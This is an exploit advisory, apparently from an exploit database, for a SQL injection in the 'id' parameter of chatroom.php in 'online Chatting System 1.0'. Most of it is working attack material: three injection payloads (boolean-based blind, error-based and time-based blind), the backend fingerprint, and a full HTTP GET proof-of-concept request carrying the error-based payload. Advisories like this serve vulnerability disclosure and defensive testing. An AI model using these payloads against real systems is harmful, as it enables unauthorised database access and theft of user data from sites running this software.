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online Chatting System 1.0 - 'id' SQL Injection



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# Exploit Title: online Chatting System 1.0 - 'id' SQL Injection
# Google Dork: N/A
# Date: 2020-05-17
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14224/online-chatting-system-using-phpmysql.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinechatting.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Discription:
 The online Chatting System v1.0 application is vulnerable to SQL injection via the 'id' parameter on the chatroom.php page.
# vulnerable file : chatroom.php

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 2674=2674 AND 'NdtA'='NdtA

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=5' AND (SELECT 8144 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OIwS'='OIwS

    Type: time-based blind
    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
    Payload: id=5' AND 4648=BENCHMARK(5000000,MD5(0x67644874)) AND 'oSJd'='oSJd
[INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
# Proof of Concept:

GET /chat_system/user/chatroom.php?id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mstb1630gvh0f97me7qdh5f7ke
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

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